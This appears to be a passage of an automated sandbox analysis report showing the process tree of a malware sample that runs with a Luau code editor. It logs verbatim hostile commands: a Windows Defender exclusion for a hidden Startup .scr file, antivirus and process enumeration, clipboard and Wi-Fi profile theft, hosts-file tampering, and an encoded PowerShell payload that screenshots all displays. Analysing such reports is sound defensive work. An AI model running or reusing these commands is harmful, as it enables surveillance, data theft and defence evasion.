      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --lang=en-US --mojo-named-platform-channel-pipe=1940.1488.1133415373682614681
        6⤵
        Drops file in Program Files directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:1596
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x15c,0x160,0x164,0x138,0x16c,0x7ffb531ab078,0x7ffb531ab084,0x7ffb531ab090
        7⤵
        
        PID:1792
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1696,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1748 /prefetch:2
        7⤵
        
        PID:4236
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2044,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:3
        7⤵
        
        PID:2576
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2376,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2388 /prefetch:8
        7⤵
        
        PID:4836
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3608,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
        7⤵
        
        PID:3144
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2192,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:8
        7⤵
        
        PID:1976
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=3992,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:8
        7⤵
        
        PID:4712
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4316,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=4032 /prefetch:8
        7⤵
        
        PID:4540
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=4032,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=756 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3376
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\com.volt.editor\EBWebView" --webview-exe-name=tauri-app.exe --webview-exe-version=1.0.5 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2236,i,6601259513126982047,6051494472906922743,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2308 /prefetch:8
        7⤵
        
        PID:3300
      - C:\Users\Admin\AppData\Local\Volt\lsp\lsp-ws-proxy.exe
        
        "\\?\C:\Users\Admin\AppData\Local\Volt\lsp\lsp-ws-proxy.exe" --listen 127.0.0.1:30000 -- \\?\C:\Users\Admin\AppData\Local\Volt\lsp\luau-lsp.exe lsp --docs=\\?\C:\Users\Admin\AppData\Local\Volt\lsp\en-us.json --definitions=\\?\C:\Users\Admin\AppData\Local\Volt\lsp\globalTypes.d.lua --base-luaurc=\\?\C:\Users\Admin\AppData\Local\Volt\lsp\.luaurc
        6⤵
        Executes dropped EXE
        
        PID:5088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ ‎ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ ‎ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:332
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:724
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1100
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s4phyixi\s4phyixi.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1888
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFEFC.tmp" "c:\Users\Admin\AppData\Local\Temp\s4phyixi\CSC9A54DC2745D84537BE5A3BED3E394D.TMP"
        6⤵
        
        PID:4796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
